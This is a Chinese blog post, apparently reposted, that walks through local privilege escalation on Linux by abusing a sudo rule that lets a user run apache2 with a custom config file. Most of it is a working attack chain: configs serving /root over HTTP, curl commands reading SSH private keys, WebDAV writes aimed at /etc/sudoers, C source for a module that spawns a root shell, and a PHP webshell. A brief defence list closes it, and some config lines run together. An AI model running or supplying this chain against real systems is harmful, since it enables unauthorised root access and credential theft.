Apache 配置文件提權的實戰思考

在 Linux 系統中,如果普通用戶被授予以 sudo 執行 Apache 并加載自定義配置文件的權限(如 sudo apache2 -f /home/user/user.conf),那么該權限極可能被濫用為本地提權路徑。

雖然 Apache 默認采用了更嚴格的權限限制機制(尤其是在腳本執行部分),但從服務功能層面看,它與 nginx 類似,也支持配置中實現任意文件讀寫、惡意模塊注入、Web 服務開啟等關鍵操作。因此,當攻擊者具備這類配置能力,結合 Apache 的模塊化和豐富功能,同樣能實現一整條提權利用鏈。


🧷 sudo 權限前提

假設當前用戶 mikannse 具有如下權限:

User mikannse may run the following commands:(root) NOPASSWD: /usr/sbin/apache2 -f /home/mikannse/mikannse.conf

等同于賦予攻擊者以 root 身份加載任意 Apache 配置 的能力。


🎯 核心目標

我們的目標是利用這條權限完成:

  • ? 任意文件讀取(例如 /root/.ssh/id_rsa/etc/shadow
  • ? 任意文件寫入(例如覆蓋 /etc/passwd、上傳公鑰、植入 suid 后門)
  • ? 執行自定義 .so 模塊代碼(即惡意模塊加載)
  • ? 啟動受控的 Web 服務(反彈 shell、內網持久化)
  • ?? 注意:直接通過 Apache 執行 phpbash 并不能獲得 root shell,因為 Apache worker 會降權。

1?? 任意文件讀取

思路:配置 Apache 靜態文件服務,設置 DocumentRoot 為任意目錄,包括 /root/etc 等。

ServerRoot "/tmp/apache"
PidFile /tmp/apache/httpd.pid
Listen 9999User root
Group rootDocumentRoot "/root"
<Directory "/root">Require all grantedOptions +Indexes
</Directory>

啟動 Apache 后即可通過 HTTP 獲取任意目錄中文件:

sudo apache2 -f /home/mikannse/mikannse.conf
curl http://127.0.0.1:9999/.ssh/id_rsa
curl http://127.0.0.1:9999/.bash_history

🔧 注意事項:Apache 必須使用 User root 啟動,才能訪問受限目錄內容(否則文件讀取失敗)。即使 worker 進程降權,root 主進程仍能完成初始文件打開操作。


2?? 任意文件寫入(PUT / POST)

開啟 WebDAV 模塊即可允許上傳任意文件至指定路徑,等同于擁有遠程 write 權限。

LoadModule dav_module /usr/lib/apache2/modules/mod_dav.so
LoadModule dav_fs_module /usr/lib/apache2/modules/mod_dav_fs.soDocumentRoot "/tmp/web"
<Directory "/tmp/web">DAV OnOptions IndexesRequire all granted
</Directory>

啟動:

mkdir -p /tmp/web
sudo apache2 -f /home/mikannse/mikannse.conf

上傳:

curl -T /home/mikannse/rootme /tmp/web/rootme http://127.0.0.1:9999/rootme

然后你可以:

  • 覆蓋 /etc/sudoers 實現 sudo 提權(需慎重)
  • 寫入 root 公鑰到 /root/.ssh/authorized_keys
  • 上傳 suid 程序、定時任務文件,達成 root 反彈 shell

3?? 惡意模塊注入(.so)

與 nginx 一樣,Apache 可通過 LoadModule 加載 .so 模塊,只要你構造的是合法 Apache 模塊格式,就可被 root 加載并執行構造函數中的任意命令。

模塊示例(rootme.c):

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "httpd.h"
#include "http_config.h"static void pwn() __attribute__((constructor));static void pwn() {setuid(0); setgid(0);system("/bin/bash -p");
}module AP_MODULE_DECLARE_DATA rootme_module = {STANDARD20_MODULE_STUFF,NULL, NULL, NULL, NULL, NULL, NULL
};

編譯模塊:

apxs -c rootme.c

配置加載:

LoadModule rootme_module /home/mikannse/.libs/rootme.so

只要 Apache 以 root 啟動,模塊加載時會執行構造函數,直接獲得 root shell


4?? 植入后門 + WebShell 控制

Apache 可用作后門 Web 服務:

DocumentRoot "/home/mikannse/www"
<Directory "/home/mikannse/www">Require all granted
</Directory>
DirectoryIndex shell.php

上傳 WebShell:

<?php system($_GET['cmd']); ?>

訪問:

curl "http://127.0.0.1:9999/shell.php?cmd=id"

?? 若啟用 php-fpm,實際命令執行權限取決于 FPM 配置(通常非 root)。


🆚 與 Nginx 提權路徑對比

利用方式NginxApache是否能提權
任意讀文件???(root)
任意寫文件???(root)
惡意模塊加載???(root)
PHP Shell 執行????(非 root)
反向持久化服務???

🔐 防御建議

  • 禁止 sudo 加載 Apache 配置文件,或使用白名單 wrapper 限制參數
  • Apache 啟動用戶不應為 root(可強制降權)
  • 不允許普通用戶編譯 .so 模塊(移除 apxs, gcc, make
  • 檢查并限制 WebDAV、mod_cgi、mod_userdir 等高危模塊
  • 配置 AppArmor / SELinux 限制 Apache 文件訪問范圍

? 總結

Apache 的配置文件注入同 nginx 一樣,當其以 root 啟動并加載惡意配置文件時,就能構造完整提權鏈條。雖然 Apache 為避免子進程運行在 root 下進行了設計限制,但這不妨礙我們通過:

  • 惡意模塊構造
  • 靜態文件服務繞權限讀文件
  • 開啟 WebDAV 實現任意寫文件
  • WebShell 持久化控制

達成本地 root 提權或橫向打點目標。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/87928.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/87928.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/87928.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

代碼隨想錄算法訓練營第四十四天|動態規劃part11

1143.最長公共子序列 題目鏈接&#xff1a;1143. 最長公共子序列 - 力扣&#xff08;LeetCode&#xff09; 文章講解:代碼隨想錄 思路&#xff1a; 其實就是求兩個字符串的最長公共子序列的長度 與公共子數組的區別是可以不連續 &#xff0c;順序對就可以 狀態轉移方程不一樣 …

部署mysql

# 環境: 操作系統window11 安裝了vagrant 通過vagrant部署、啟動虛擬機(centos7) # 準備安裝mysql8 # 添加 MySQL 官方 YUM 源 sudo rpm -Uvh https://dev.mysql.com/get/mysql80-community-release-el7-7.noarch.rpm # 安裝 MySQL Server sudo yum install -y mysql-s…

SQL分析與打印-p6spy組件

有性能消耗&#xff0c;只推薦在非生產環境下使用 SpringBoot3MybatisPlushttps://baomidou.com/guides/p6spy/ MyBatis-Plus提供了SQL分析與打印的功能&#xff0c;通過集成p6spy組件&#xff0c;可以方便地輸出SQL語句及其執行時長。本功能適用于MyBatis-Plus 3.1.0及以上版本…

FLUX.1-Kontext 高效訓練 LoRA:釋放大語言模型定制化潛能的完整指南

在人工智能領域&#xff0c;尤其是大型語言模型&#xff08;LLM&#xff09;的應用浪潮中&#xff0c;高效、低成本地定制模型行為已成為關鍵需求。LoRA&#xff08;Low-Rank Adaptation&#xff09;技術以其參數高效、資源節省的特性脫穎而出。而 FLUX.1-Kontext 作為一款創新…

群暉 DS3617xs DSM 6.1.7 解決 PhotoStation 安裝失敗問題 PHP7.0

群暉 DS3617xs DSM 6.1.7 解決 PhotoStation 安裝失敗問題 PHP7.0問題描述解決方案1. 準備所需文件2. 檢查當前 PHP 版本3. 安裝 PHP 版本5. 查詢已安裝好的套件6. 升級 PHP 版本7. 手動安裝套件PhotoStation注意事項總結問題描述 在群暉 DS3617xs DSM 6.1.7-15284 版本中&…

pnpm 升級

pnpm 的安裝源太多了&#xff0c;感覺系統變量都有引入順序。 今天踩坑記錄&#xff1a; pnpm &#xff0c;如果最初用npm 裝的&#xff0c;可以用npm 升級&#xff1b; 如果最初用brew 裝的&#xff0c;得用brew 升級&#xff1b; 如果最初是用corepack 裝的得用corepack 升級…

[C#] WPF - 資源URI

一、組成 1、資源URI總共包括4個部分(當前程序集可以省略前3個)&#xff1a; ①&#xff1a;pack://application:,,, ②&#xff1a;/[程序集名稱] ③&#xff1a;;Component ④&#xff1a;/[資源路徑] 二、舉例 項目結構如下圖所示&#xff1a; 1、MainWindow.xaml 文件…

【Mysql系列】Mysql 多級隔離級別揭秘

目錄 一、什么是隔離級別 1.1、為什么復合操作需要事務&#xff1f; 1.2、事務的 ACID 特性如何保障操作可靠性&#xff1f; 1.3、隔離性通過隔離級別來控制 二、為什么用多級隔離級別 2.1、事務并發執行時可能引發以下問題 2.1.1、臟讀&#xff08;Dirty Read&#xff…

odoo17 警示: selection attribute will be ignored as the field is related

在 Odoo 17 中&#xff0c;當使用 related 字段時&#xff0c;直接在 fields.Selection 中指定選擇列表會被忽略&#xff08;因為選擇項會從關聯字段繼承&#xff09;。wtd_fuwlx fields.Selection(服務類型 , relatedwtd_id.fuwlx, storeTrue)遇到了一個警告&#xff0c;提示…

gemma-3n-E2B多模態模型使用案例:支持文本、圖像、語音輸入

參考&#xff1a; https://developers.googleblog.com/en/introducing-gemma-3n-developer-guide/下載&#xff1a; https://modelscope.cn/models/google/gemma-3n-E2B-it 模型下載 運行代碼&#xff1a; https://github.com/huggingface/huggingface-gemma-recipes 微調&…

計算機網絡實驗——互聯網安全實驗

實驗1. OSPF路由項欺騙攻擊和防御實驗一、實驗目的驗證路由器OSPF配置過程。驗證OSPF建立動態路由項過程。驗證OSPF路由項欺騙攻擊過程。驗證OSPF源端鑒別功能的配置過程。驗證OSPF防路由項欺騙攻擊功能的實現過程。二、實驗任務使用自己的語言簡述該實驗原理。如圖1所示的網絡…

Pytorch中torch.where()函數詳解和實戰示例

torch.where() 是 PyTorch 中非常常用的一個函數&#xff0c;功能類似于 NumPy 的 where&#xff0c;用于條件篩選或三元選擇操作。在深度學習訓練、掩碼操作、損失函數處理等場景中非常常見。一、基本語法 torch.where(condition, x, y)condition&#xff1a;一個布爾張量&…

基于Hadoop的公共自行車數據分布式存儲和計算平臺的設計與實現

文章目錄 有需要本項目的代碼或文檔以及全部資源&#xff0c;或者部署調試可以私信博主項目介紹&#xff1a;基于Hadoop的公共自行車數據分布式存儲與計算平臺設計與實現數據介紹數據預處理 Hadoop 集群的幾個主要節點介紹1. NameNode&#xff08;主節點&#xff09;2. DataNod…

Java項目:基于SSM框架實現的程序設計課程可視化教學系統【ssm+B/S架構+源碼+數據庫+畢業論文】

摘 要 使用舊方法對程序設計課程可視化教學信息進行系統化管理已經不再讓人們信賴了&#xff0c;把現在的網絡信息技術運用在程序設計課程可視化教學信息的管理上面可以解決許多信息管理上面的難題&#xff0c;比如處理數據時間很長&#xff0c;數據存在錯誤不能及時糾正等問題…

Unity 實現 NPC 隨機漫游行為的完整指南

在游戲開發中&#xff0c;NPC&#xff08;非玩家角色&#xff09;的行為邏輯對于營造真實、沉浸式的游戲世界至關重要。一個常見但又極具表現力的需求是&#xff1a;讓 NPC 在場景中自然地隨機移動&#xff0c;仿佛它們有自己的意識和目的地。 本文將詳細介紹如何使用 Unity 的…

重新學習Vue中的按鍵監聽和鼠標監聽

文章目錄按鍵事件1. 使用 keyup.enter 修飾符2. 使用 v-on 監聽鍵盤事件3. 在組件上監聽原生事件Vue 2Vue 34. 全局監聽鍵盤事件注意事項鼠標事件1. 基本鼠標事件監聽常用鼠標事件2. 事件修飾符3. 鼠標按鍵檢測4. 鼠標位置信息5. 自定義指令監聽鼠標事件6. 組合鼠標事件7. 性能…

vue2啟動問題以及解決方案

vue2啟動時&#xff1a;ERROR Invalid options in vue.config.js: "typescript.validate.enable" is not allowed如果需要在 VSCode 中控制 TypeScript 驗證&#xff1a;在項目根目錄創建 .vscode/settings.json 文件&#xff08;如不存在&#xff09;添加以下配置&a…

Vue響應式系統:從原理到核心API全解析

響應式原理 響應式機制的主要功能就是&#xff0c;可以把普通的JavaScript對象封裝成為響應式對象&#xff0c;攔截數據的讀取和設置操作&#xff0c;實現依賴數據的自動化更新。 Q: 如何才能讓JavaScript對象變成響應式對象&#xff1f; 首先需要認識響應式數據和副作用函數…

水下目標檢測:突破與創新

水下目標檢測技術背景 水下環境帶來獨特挑戰&#xff1a;光線衰減導致對比度降低&#xff0c;散射引發圖像模糊&#xff0c;色偏使顏色失真。動態水流造成目標形變&#xff0c;小目標&#xff08;如1010像素海膽&#xff09;檢測困難。聲吶與光學數據融合可提升精度&#xff0…

高通SG882G平臺(移遠):2、使用docker鏡像編譯

其實之前已經編譯過了。今日搜索時發現&#xff0c;只有當時解決問題的匯總&#xff0c;沒有操作步驟。于是記錄下來。 建議使用Ubuntu20 LTS。 安裝docker $ sudo apt update $ sudo apt install docker.io $ sudo docker -v Docker version 27.5.1, build 27.5.1-0ubuntu3…